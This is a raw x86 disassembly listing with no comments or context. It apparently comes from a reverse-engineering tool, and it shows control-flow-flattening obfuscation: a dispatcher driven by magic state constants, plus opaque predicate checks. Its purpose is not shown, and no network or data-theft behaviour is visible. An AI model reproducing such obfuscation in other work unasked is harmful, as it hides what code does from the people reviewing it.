mov eax, dword [esi + 0xc]
mov ecx, 0xaa
add eax, ecx
shr eax, 3
mov ecx, eax
imul ecx, eax
shl eax, 0x10
imul edx, ecx, 0x4c61
dec edx
or eax, 0xf6
mov dword [esi + 0xc], eax
mov eax, 0x8c6092d4
cmp edx, ecx
je 0x445eea
mov eax, 0x66177548
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x9c]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x37b3dab2
jmp 0x440ae0
imul edi, dword [esi + 8], 0xd5
add edi, 0x169
mov ebx, edi
shr ebx, 0xd
mov dword [esi + 8], ebx
call fcn.00408e87
push ebx
call fcn.00440ac8
add esp, 4
mov eax, 0x5ead8a11
cmp edi, 0x4000
jb 0x445f4c
mov eax, 0xc5f299bf
mov dword [esi + 4], eax
jmp 0x440ae0
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi + 4], 0xbdd9fdec
jmp 0x440ae0
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi + 4], 0x1347eb9c
jmp 0x440ae0
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x7e3d8bd7
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 7
imul edi, eax, 0x318
add edi, 0xfffffdf0
and edi, 0xffffffe0
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0xf95480d7
cmp edi, 0x94
jae 0x445fd3
mov eax, 0x8bc94a5
mov dword [esi + 4], eax
jmp 0x440ae0
mov ecx, dword [esi + 8]
mov eax, 0xfffffe90
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xe9975444
cmp ecx, 2
jb 0x445ff7
mov eax, 0xf2c135a5
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 7
add eax, 0x1968
shr eax, 0xc
add eax, 0x37
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2840e0fc
jmp 0x440ae0
imul edi, dword [esi + 8], 0x2ac
add edi, 0x166
mov dword [esi + 8], edi
push 0x567d
push 0x2f3a
push edi
push 0x4f22
call fcn.00447380
add esp, 0x10
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0xa6bac59b
cmp edi, 0x7a
je 0x44605f
mov eax, 0x577d64e4
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x164]
lea eax, [eax*4 + 0x484470]
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0x968383c5
jmp 0x440ae0
push eax
sub esp, 0xc
mov ebx, esp
mov byte [ebx + 0xe], 0
movzx eax, word [0x48459b]
mov word [ebx + 0xc], ax
mov eax, dword [0x484597]
mov dword [ebx + 8], eax
mov eax, dword [0x484593]
mov dword [ebx + 4], eax
mov eax, dword [0x48458f]
mov dword [ebx], eax
push 7
push 0x48459d
push 0xe
push ebx
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x54]
mov ecx, dword [ebx + 0xb]
mov dword [eax + 0xb], ecx
mov ecx, dword [ebx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0xa6bac59b
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x2829000
add eax, 0xffffa24b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xca312a6
jmp 0x440ae0
mov eax, dword [esi + 0x150]
mov word [eax], 0xa
push 1
push 0x8000
call fcn.004600e3
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0x48f18c92
jmp 0x440ae0
mov edi, dword [esi + 8]
shl edi, 0x13
add edi, 0x20000000
and edi, 0xfe000000
or edi, 0x4800
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x25ed8bdd
cmp edi, 0xe
jl 0x446171
mov eax, 0xbf4444f6
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 8
add eax, 0xffffff8d
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa2a4580b
jmp 0x440ae0
imul edi, dword [esi + 8], 0x58
shr edi, 0xb
add edi, 0x138
mov dword [esi + 8], edi
call fcn.00408e87
push 0x38c7
push 0x5a80
push edi
push 0x2bc2
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0xd339d5fe
jmp 0x440ae0
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 5
lea ecx, [ecx + eax*2]
add ecx, 0xfffffe7a
mov dword [esi + 8], ecx
mov eax, 0x79848f3b
cmp ecx, 0xc2
je 0x4461f0
mov eax, 0xfaaf446a
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff6d
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7121
shr eax, 8
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x1fa40e09
cmp edx, ecx
je 0x446222
mov eax, 0xcd598f4c
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0x39fbe18f
jmp 0x440ae0
mov eax, dword [esi + 0x184]
mov word [eax], 0xa
mov dword [esi + 4], 0x38d6897c
jmp 0x440ae0
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x48], eax
mov dword [esi + 4], 0xf490fa59
jmp 0x440ae0
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x188]
mov dword [esi + 0x18c], eax
mov dword [esi + 4], 0xed86323f
jmp 0x440ae0
cmp eax, 0xe532cf3d
jne 0x440ae0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret